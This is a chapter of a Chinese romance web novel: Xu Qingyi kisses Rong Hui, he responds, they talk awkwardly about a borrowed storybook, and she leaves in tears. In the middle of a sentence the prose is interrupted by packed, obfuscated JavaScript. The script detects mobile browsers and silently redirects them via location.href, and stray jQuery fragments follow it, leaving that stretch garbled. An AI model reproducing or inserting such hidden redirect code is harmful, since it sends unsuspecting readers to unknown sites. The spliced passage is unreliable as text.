49. 心意(二)

作品:《春华浓

    她的唇瓣贴上他半张的嘴唇,气息将他淹没。


    许青怡没给容回反应的时间,不容拒绝地压上来。甫一贴上他,皓齿便轻轻咬上他的薄唇,朱唇配合着狂嘬重啃。


    仿佛要将心底的委屈全然释放出来。


    那股含笑清香将他紧紧包裹,独属于她的气味充斥着他的鼻尖、大脑、以及身体何处,让他失去思索能力。


    容回浑然一阵,瞳孔微缩,伴随着惊讶、诧异嘴角不由张得更开,使她不费吹灰之力便得以深入,舌尖相抵,湿润与温热的触感贴合,分不开。


    一手抓紧了他领口交合的衣襟,许青怡紧紧攥着他,腾出另一只手攀上他的脖颈,半围住,不容他逃开。


    “唔……”


    支摘窗没来得及合上,夜色被青石上一层水光映入,微风是时窜入,在火热的室内轻吹烛火,灯辉摇晃,几道连续“啧啧”的水声徒然增添火热的气氛。


    容回墨发未干,氲湿的两缕发丝不知何时贴在了许青怡面上,她手藏在他发间,指缝亦同这吻一般,湿润,而粘腻。


    懅然而来的亲昵让容回顿在当场,小半柱香过去,他指尖扣捏着身下衾被,从一开始的屏息凝视到现下呼吸错乱,粗热的气息喷洒在面上,他一动不动,任由她拿捏。


    面前之人同块木头一般,半柱香过去,许青怡缓缓掀眼,眼底两分恼怒倾洒而出。


    都这样了,他还无动于衷!


    这算甚,算她再次自作多情?


    嘴下动作初停,不过一息许青怡猛然支起两只手,使了六成力往容回胸前一推!


    难堪、委屈、囧然……几种复杂心绪刹那间涌上心头,透过血液传递到身体何处,眼眶不争气地再次飞红。


    容回被徒然而来的力道惊醒,甫一睁眼便瞧见许青怡压抑着火气的杏眸。


    心头泛着酸涩劲,推开他后,这屋子许青怡一息也呆不下去。


    她要出去,回自己屋子去,等到了白日便也就安安分分地假装他的婢女,待安州之行结束,顾启和顾愈初得到了惩罚便跑离宴州。对了,还得将在宴州的宅子铺子兑成银子,再到别处去,开家医馆轻松自在地度过余生。


    短短的几息时间里,她已然想好后半辈子如何度过。左右是再也不想看见这个让她难堪数次的男人,若是被拒绝那样多次,她还未死心,那多可笑。


    心气郁结,泪水再次止不住留下来。许青怡只想立马跑出容回的卧房,坐在塌上的腿甫动,一股强硬的力道扽着她往后一拽!


    铺天盖地的男主的气息朝她压来,天旋地转间她已经倒在塌上。


    “你做甚?!”心中气恼得厉害,许青怡愤然一蹬,腿脚就往他身上踢。


    容回一脚压住她作乱的双腿,双手撑在她身侧,火热的、喷薄着□□的目光紧盯着她。没给思忖时间,他毫不客气地吻下来。


    刹那间,错乱不平的呼吸被男人掠夺,铺天盖地的气息将她吞没,容回几乎是咬上来的。


    这个吻同砸下来一般。


    许青怡霎时错愣,杏眸瞪圆,眼看着俯于身上之人,“你,唔——”


    唇间的重嘬轻咬,抵达舌尖的话被人推了回去,埋没她的气息。


    手腕被人攥着,压在身侧,唇齿间的掠夺渐渐变得温柔缠绵,舌尖缱绻轻触,让她难以回神。


    这人,是容回?


    抛掉了昔日清冷,也抛掉了近日温和,强硬地扣她于身下,怎么也不似他的作风。


    许青怡觉着自己吃醉了酒,不然为何分明一刻钟前还在恼怒,当下却因为他狂热而又缱绻的吻迷离,渐渐地不由回应起来。


    唇齿牵扯,心绪恍惚。


    不知过了多久,塌前那根红烛燃尽了,屋内的光芒渐渐暗下,直到屋内同支摘窗外的光亮融成一片。


    依依不舍的唇瓣,这才缓缓分离开。


    容回不知从哪拾了块帕子,分明眼神逃避,还是沉默地擦去二人唇间拉扯的银丝,又替她擦干嘴角,才拾掇起自己。


    塌上被衾凌乱,而两人谁都没比谁好到哪去,皆是衣襟松散,腰间松垮,一副互被蹂躏过的模样。


    动作平息,气氛徒然变得尴尬。


    许青怡眼角尚且挂着滴晶莹,她撇开脸,错开视线,抬脚对着容回就是一蹬,“说话!”


    舌根被他吸得疼,唇瓣发麻,加上哭过,喉间肿胀,声音嘶哑,激吻后光“说话”这两字,都有一半是气声。


    她怨气未平,脚下却是收了力,不轻不重只是提醒他别木着。


    她需要一个交代。


    吻都吻了,容回仍目光羞怯,尚不敢完全直视这样媚态横生的模样,他错开的脸正回来,凝着她。


    她哭过,此刻眉若漾雾,似青山连绵,眼若盛泉,水波荡漾。


    容回心脏倏忽一软,攥在她手腕的手缓缓向上,扣住她的手掌,浅浅摩挲,似是在表明心意。


    他微叹了口气,懅然道:“对不起。”


    许青怡一怔,心跳也跟着跳起来,胸口的起伏全然落在他眼底。


    容回踟蹰片刻,倾身在她嘴角轻啄,“是我不好。”


    许青怡慢慢回过脸,就见他俊俏柔美的脸颊,那双桃花目透露出她从不曾见过的神情——透彻明亮的眼神中,带着不可忽视的虔诚,眼底两分欲念欲藏未藏。


    她觉着自己真是好哄,不过看他一眼,他再这样一说,闷在心口的气也消了大半。


    有些难对这样的目光,许青怡再次扯开脸,轻抿嘴,问:“从哪学的?”


    容回好看的眉头微不可查地皱了皱。


    学什么?


    她以为他是学了别的东西才会这般哄她么?


    他自认这并非是哄人,真心交互,不算哄,都是下意识的动作,不过平时克制,不可能做出来。


    “没学。”他矢口否认。


    许青怡移回脸,同他面对面相看,含着水光的眸子径直望入他的眼底,“我说那个吻。”


    容回手臂还撑在她身侧,面对面,说话间呼吸交融,湿热的气息喷洒开,他心头一颤,竟潜移默化学着她抿了抿唇,“……话本子。”


    许青怡那话本子里,诸多少儿不宜的情节,方过之雅文,多逊之春宫文。先不说陈三郎如何付出代价哄回秦娘子,光说在□□欢愉上,他也使劲手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15127792|156630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    段。文中说得不详,却也够容回启蒙摩挲。


    话、本、子。


    听到这话的许青怡,眉头徒然一挑。怎么,容回这是士绅官吏、皇亲贵戚也会看话本子?


    眼见着一片酡红从面颊蔓延上容大人的耳尖,许青怡惊诧地问:“你还看话本子?”


    容回不自在地错开她赤裸裸的,仿佛要将他看穿的直视,迟疑着点了点头,“也就近来无事,随意看看。”


    “哪来的话本子?”许青怡不由接着问,声音中的哽咽声已然平息。


    “……你的。”


    她的话本子?


    说起来,还真有那么一本莫名其妙消失了,她忆起尚在容回屋中看过,一觉醒来却不见踪迹,原是他拿了。


    这倒让她再次惊住。


    估摸着容回也就是看了这故事,才疑心她有了身孕。


    兀自想着,容回犹豫的声音又在上方想起,“我还你?”


    许青怡摆摆手,“你爱看就拿着看罢。”


    多多学习,增添涉猎面,也好。


    话音落下,昏暗的室内再次没了声响,静谧到对方的呼吸声清晰可闻。


    “噗通噗通”


    不知是谁的心跳声,在耳边响起。


    再次陷入尴尬。


    二人皆不语。


    许青怡不是没有感受到身下的坚硬与滚烫,方才有关要说,暂时顾不上,此刻昏暗静谧的环境下,一切感官都被放大,耳畔、鼻尖、唇中、眼底还有皮肤,都暴露在一片欲渴之中。


    深吸了口气,许青怡支起身子,推开他。


    容回不解怎得又推上他了,她没使多大劲,好似只是象征性地推推。错愕片刻,他还是松开手,好让她能坐起来。


    “怎么了?”容回轻声问道。


    暗色中,许青怡压下复杂的神情,一抹怒气汇集在指尖,她用指甲戳了戳他胸前的肌肉,缓缓道:“我要回去了。”


    容回声音有些急,“为何?”


    她才待多久?


    思及此,他才意识到自己问得太快,他不该这样问。


    许青怡视线随着容回面容往下,停留在一处支挺,一字一顿,“你好好养伤罢。”


    她不提,他都快忘了这一茬。


    容回着急张了张嘴,却一个字也没说上,他不知该如何回应。


    许青怡凝他一瞬,趿鞋下地,飞也似地小跑出去。


    “吱哑”一声,推开小房木门,她扑上床榻,一手扯过被子将自己卷成个粽子。


    头全然埋在被中,方才的激动在一个独处之时渐渐消匿,胸口仿若石块堵住,茫然无措。


    她在耳中塞了棉花,再戴上耳罩,心中的酸涩如洪水决堤般冲向四面八方。


    明明多年所求,已然就在身侧,还是不由湿了眼眶,她将自己缩在被中,强忍呜咽声。


    士曰鸡鸣,城外鸡鸣声悠远入耳,东方既白之时,她终于昏昏沉沉睡去。


    手中攥着那块趁容回不注意拿回的木佩。


    主屋内,容回凝着空荡荡的窗塌,翻来覆去,亦不得眠。


    “她还真将东西拿走了。”